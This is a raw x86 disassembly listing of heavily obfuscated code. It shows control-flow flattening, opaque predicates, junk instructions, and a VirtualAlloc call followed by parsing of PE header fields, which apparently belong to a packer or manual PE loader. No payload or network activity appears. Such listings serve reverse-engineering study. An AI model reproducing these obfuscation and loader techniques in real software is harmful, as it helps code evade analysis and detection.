mov byte [ebp - 0x208], al
mov al, byte [ebp - 0x209]
or dh, al
mov al, byte [ebp - 0x208]
or ch, al
mov al, byte [ebp - 0x207]
xor dh, ch
mov ch, byte [ebp - 0x206]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or dh, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ah, dh
or al, cl
xor ah, al
mov cl, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov bl, 1
xor bl, 1
mov dh, bl
and dh, 0
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or bh, dh
or al, ch
xor bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x205], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x205]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov dh, ah
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4bb6b7a2
mov ecx, 0x583dd8f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x60f0cb3b
jmp 0x4b4ff5
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
xor edi, edi
sub edi, 0x911f4dcd
add edi, 0
xor esi, esi
sub esi, eax
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov edi, 0x4dee880
add edi, 0
sub edi, 1
sub edi, 0x4dee880
xor esi, esi
sub esi, edi
sub edx, esi
sub edx, 0xfba9d287
add edx, 0x40a48a37
add edx, 0xfba9d287
sub edx, 0x59c9c1e5
add edx, 0x911f4dcd
add edx, 0x59c9c1e5
sub edx, 0x1ae448ee
sub edx, 0x40a48a37
add edx, 0x1ae448ee
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0x26e], ah
cmp ecx, 0xa
setl dh
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov ch, dh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, bl
or cl, ch
xor al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, 1
xor ah, 0
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
mov bh, ch
and bh, 0
mov byte [ebp - 0x270], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x26f], al
mov al, byte [ebp - 0x270]
or dl, al
mov al, byte [ebp - 0x26f]
or bh, al
mov al, byte [ebp - 0x26e]
xor dl, bh
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or ah, dl
or cl, 0
xor ah, 0xff
and ah, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dl, cl
mov bh, dh
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ch, al
and ch, 0
and bh, cl
mov dh, dl
and dh, 0
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov byte [ebp - 0x267], al
mov dl, ch
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, ch
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov ah, dl
xor ah, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 0
or ah, bl
or dh, 0
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x26a], ah
mov dh, bh
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x26b], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x26d], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x26c], al
mov al, byte [ebp - 0x26d]
and cl, dh
or ch, al
mov al, byte [ebp - 0x26c]
or al, cl
mov cl, byte [ebp - 0x26b]
xor ch, al
mov al, byte [ebp - 0x26a]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x266], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
and al, dh
mov byte [ebp - 0x269], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x268], al
mov al, byte [ebp - 0x269]
and cl, dh
or ah, al
mov al, byte [ebp - 0x268]
or al, cl
mov cl, byte [ebp - 0x267]
xor ah, al
mov al, byte [ebp - 0x266]
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ah, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, ah
xor al, 0xff
and al, 0xff
and ah, dh
or bl, ch
or al, ah
xor bl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x265], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov al, dl
and al, 1
mov ch, ah
and ch, 0
and bh, dl
or cl, al
mov al, byte [ebp - 0x265]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xca25c896
mov ecx, 0x98a29b41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0xa7a7964c
jmp 0x4b4ff5
mov ecx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x104]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov edx, dword [ebp - 0x184]
mov eax, 0xb05c8a40
mov ecx, 0x19a3a9a9
cmp dword [edx + 4], 0
cmove eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.005e47f0
add esp, 0xc
inc edx
dec eax
or edi, 0xf5
and edx, 0x3d
rol ebx, 0xcc
rol esi, 0x6c
and esi, 0xdb
sbb edi, 5
not esi
neg eax
dec eax
rol ebx, 0x45
sbb ebx, 0x5d
bswap ebx
ror edi, 0xb2
inc edx
ror eax, 0xa5
rol edx, 0x6d
rol edi, 0x72
inc eax
not ebx
add esi, 0x3f
rol ebx, 0x18
rcl ebx, 0x30
add edi, 0x6a
or edx, 9
or edx, 0xf5
inc eax
imul edi
ror eax, 0x63
or eax, 0xa2
and edx, 0xb9
inc esi
sbb ebx, 0x8c
mov ebx, 0xe9
neg edx
not ebx
bswap edx
add edi, 0x6e
sub esi, 0xe7
inc ebx
sub edi, 0x8b
sub edx, 0xb6
or ebx, 0xb9
and edx, 0x34
or edx, 0x17
sbb esi, 0x26
inc ebx
inc esi
dec edx
or esi, 0x90
not edi
inc edx
sbb ebx, 0x11
or eax, 0x13
rcr eax, 0x2f
dec eax
dec edi
not esi
sub esi, 0xd7
ror ebx, 0x70
not eax
or ebx, 0x3d
and ebx, 0x34
and edi, 0x94
not edi
rol eax, 0x33
and ebx, 0xf8
bswap edx
imul edx
dec edx
and esi, 0x7a
not edi
rcl ebx, 0xe6
imul esi
or eax, 5
not esi
rcl eax, 0x16
and ebx, 0x8d
rol edx, 0xfe
inc edi
rcr esi, 2
rcl ebx, 0x67
inc esi
or esi, 0xb7
sbb esi, 0x9c
dec ebx
mov ebx, 0x24
not eax
sub edi, 0x6f
add esi, 0xf3
neg edx
rcl edi, 0xff
neg eax
neg edi
add esi, 0xbe
dec edi
or edi, 0xd6
not edx
inc ebx
rol eax, 0x17
sbb eax, 0xb3
sub esi, 0x91
inc edi
not edx
or edx, 0xaf
or ebx, 8
rol eax, 0x70
ror edx, 0x4a
sbb edx, 0x3b
not eax
dec edx
neg eax
bswap edx
dec ebx
dec edi
rcl edx, 0x7c
imul ebx
ror eax, 0x83
rol ebx, 0xda
or ebx, 0xa5
inc eax
mov edi, 0x41
rcl ebx, 0xf7
rol ebx, 0x45
and edi, 0xca
rol ebx, 0x8d
inc edi
neg esi
inc edi
or esi, 0x3f
or esi, 0x6b
and edi, 0x9b
rcr edi, 0x44
neg edi
dec edx
mov esi, 0x98
and esi, 0x1b
sub eax, 0x63
dec ebx
inc ebx
rcr ebx, 0x29
sbb ebx, 0xf4
bswap ebx
imul ebx
sub edx, 0x3f
or eax, 0x73
inc eax
ror eax, 0x84
not edx
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
sub eax, 0xb9ab097d
add eax, 0x8fc93fe1
add eax, 0xb9ab097d
xor ecx, ecx
sub ecx, 0x508dea08
add eax, ecx
add eax, 0x7a43edf
sub eax, 0x8fc93fe1
sub eax, 0x7a43edf
mov ecx, 0xed8615ac
add ecx, 0
sub ecx, eax
sub ecx, 0xed8615ac
xor edx, edx
sub edx, 0x92423225
sub edx, 0x18
add edx, 0x92423225
xor eax, eax
sub eax, edx
sub ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0
xor ecx, ecx
sub ecx, eax
add ecx, 0
xor eax, eax
sub eax, 0x508dea08
add eax, 0
add ecx, 0xbb1d8577
add ecx, eax
sub ecx, 0xbb1d8577
xor eax, eax
sub eax, 0xbfd282a6
sub eax, ecx
add eax, 0xbfd282a6
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x1a8], 0x47cbb196
jmp 0x4b4ff5
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
xor edx, edx
sub edx, 0xb3df6614
sub ecx, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0x514b2ea7
add edx, ecx
xor ecx, ecx
sub ecx, edx
sub ecx, 0xeef99574
sub ecx, 0xb3df6614
add ecx, 0xeef99574
sub ecx, 0xdf68864d
sub ecx, 0x3c7250cb
add ecx, 0xdf68864d
add ecx, 0xa93eef8f
add ecx, eax
sub ecx, 0xa93eef8f
add ecx, 0xc5c0fbf4
add ecx, 0x3c7250cb
sub ecx, 0xc5c0fbf4
sub ecx, 0xccc9d18e
add ecx, 0x1d99b9
add ecx, 0xccc9d18e
xor eax, eax
sub eax, 0x514b2ea7
add ecx, eax
add ecx, 0xe2c38967
sub ecx, 0x1d99b9
sub ecx, 0xe2c38967
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov dword [eax], 0
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, 0
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x9c9bbb24
sub esi, edx
add esi, 0x9c9bbb24
mov edx, eax
sub edx, 0xb2729a5c
sub edx, esi
add edx, 0xb2729a5c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x366], al
cmp ecx, 0xa
setl ch
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov bl, dl
and bl, 0xff
and bh, ah
mov byte [ebp - 0x368], bh
mov bh, dh
and bh, 0xff
and al, ah
mov byte [ebp - 0x367], al
mov al, byte [ebp - 0x368]
or bl, al
mov al, byte [ebp - 0x367]
or bh, al
mov al, byte [ebp - 0x366]
xor bl, bh
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or bl, dl
mov dl, cl
and dl, 0
xor cl, 0
or dl, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov dh, al
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
mov bl, al
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov cl, 1
xor cl, 1
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, 1
xor bl, 1
and bl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or bl, bh
or dl, dh
xor bl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov dl, ch
and dl, bh
or al, dl
mov bh, 1
xor bh, 1
mov dl, al
xor dl, bh
and dl, al
xor ch, 0xff
xor bl, 0xff
mov al, 1
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
mov bl, cl
and bl, dl
xor cl, 0xff
and al, cl
or bl, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0x361], al
mov ch, bl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, bl
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov byte [ebp - 0x363], ch
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bh
or cl, dh
xor dl, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, dl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov dh, 1
xor dh, 1
mov ah, ch
xor ah, dh
and ah, ch
xor bl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or bl, dh
or ch, 1
xor bl, 0xff
and bl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x362], dh
mov bh, 1
xor bh, 0
mov dh, ch
and dh, 0
and al, bh
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x362]
and al, 0
mov byte [ebp - 0x364], al
mov al, byte [ebp - 0x365]
and cl, bh
or dh, al
mov al, byte [ebp - 0x364]
or al, cl
mov cl, byte [ebp - 0x363]
xor dh, al
mov al, byte [ebp - 0x362]
or ch, al
mov al, byte [ebp - 0x361]
xor ch, 0xff
or bh, 0
and ch, bh
or dh, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or bl, dh
or ah, ch
xor bl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x223594e2
mov ecx, 0x3ec9c03d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x1a8], 0x57cdc272
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x738134ec
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x4be7cbd6
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x5e89745
jmp 0x4b4ff5
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
xor edx, edx
sub edx, 0xd8b7f6e9
sub edx, 0x4e75ed3b
add edx, 0xd8b7f6e9
xor esi, esi
sub esi, edx
mov edx, eax
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xa040ddc5
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x35315082
sub edx, 1
sub edx, 0x35315082
sub edx, 0xc81e4ddc
sub edx, 0xa040ddc5
add edx, 0xc81e4ddc
xor edi, edi
sub edi, 0x56a07211
sub edi, 0x4e75ed3b
add edi, 0x56a07211
xor esi, esi
sub esi, edi
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, ah
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or dl, ch
or al, cl
xor dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov al, bl
xor al, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, bl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a33c321
mov ecx, 0x8c3ae371
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov ecx, dword [ebp - 0xbc]
shr ecx, 1
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x90d71f21
sub eax, ecx
add eax, 0x90d71f21
xor ecx, ecx
sub ecx, 0x9c8957d5
add ecx, 0
sub eax, 0x863615c8
add eax, ecx
add eax, 0x863615c8
xor ecx, ecx
sub ecx, 0x5ff5756a
sub ecx, eax
add ecx, 0x5ff5756a
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x9dbdf048
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
sub ecx, eax
xor eax, eax
sub eax, 0x9dbdf048
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x4f27a2e9
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x7acac3a3
sub ecx, 0x9c8957d5
sub ecx, 0x7acac3a3
sub ecx, 0x14e030ad
sub ecx, 0x4f27a2e9
add ecx, 0x14e030ad
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
xor esi, esi
sub esi, 0x1421fe71
sub esi, 0x1642443c
add esi, 0x1421fe71
mov edx, ecx
add edx, 0x32566aa7
add edx, esi
sub edx, 0x32566aa7
mov edi, 0x8cfc05e9
add edi, 0
sub edi, 1
sub edi, 0x8cfc05e9
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, edx
add esi, 0
mov edi, 0x29cf936a
add edi, 0
sub edi, 0x1642443c
sub edi, 0x29cf936a
xor edx, edx
sub edx, edi
sub esi, edx
mov edx, 0x45de059b
add edx, 0
sub edx, esi
sub edx, 0x45de059b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0x49b], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov ah, bl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or ah, ch
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x487], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or cl, dl
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
and ah, 1
mov dl, 1
xor dl, 1
and dl, 0
or ah, dl
mov dl, ah
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dh, 1
xor dh, 0
mov dl, al
xor dl, dh
and dl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ch, cl
and ch, dl
xor cl, 0xff
and al, cl
or ch, al
mov ah, 1
xor ah, 1
and ah, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, dl
or al, cl
xor ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov bh, 1
xor bh, 1
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov dh, 1
xor dh, 1
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov dh, 1
xor dh, 1
xor al, 0xff
mov dl, 1
xor dl, 1
or dh, al
mov al, byte [ebp - 0x487]
or dl, 1
xor dh, 0xff
and dh, dl
mov dl, ah
and dl, bh
xor ah, bh
or dl, ah
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov dh, dl
xor dh, 0xff
mov cl, ah
and cl, dh
xor ah, 0xff
and dl, ah
or cl, dl
mov byte [ebp - 0x481], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, 1
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or dl, bh
or ah, dh
xor dl, ah
mov byte [ebp - 0x4a0], dl
mov dl, cl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x4a1], bh
and cl, ah
mov bh, dh
and bh, 0
and al, ah
mov byte [ebp - 0x49f], al
mov al, byte [ebp - 0x4a1]
or al, cl
mov cl, byte [ebp - 0x4a0]
mov byte [ebp - 0x49e], al
mov al, byte [ebp - 0x49f]
or bh, al
mov al, byte [ebp - 0x49e]
xor al, bh
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x49a], al
mov dl, 1
xor dl, 0
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
mov al, ah
and al, 0
mov byte [ebp - 0x49d], al
mov al, bh
and al, 0
mov byte [ebp - 0x49c], al
mov al, byte [ebp - 0x49d]
and cl, ah
or dh, al
mov al, byte [ebp - 0x49c]
or al, cl
mov cl, byte [ebp - 0x49b]
xor dh, al
mov al, byte [ebp - 0x49a]
or dl, bh
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov dl, al
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and al, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x481]
or ah, bh
xor dl, ah
xor dh, 0xff
mov ah, dl
xor ah, dh
and ah, dl
mov bh, al
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and al, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or bh, al
mov al, byte [ebp - 0x481]
or dl, dh
xor bh, dl
mov dl, bl
xor dl, 0xff
mov dh, bh
and dh, dl
xor bh, 0xff
mov dl, bl
and dl, bh
or dh, dl
xor bl, 0xff
mov dl, dh
xor dl, bl
and dl, dh
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
and dh, 1
or bh, dh
mov bl, ch
xor bl, 0xff
mov dh, bh
and dh, bl
xor bh, 0xff
mov bl, ch
and bl, bh
or dh, bl
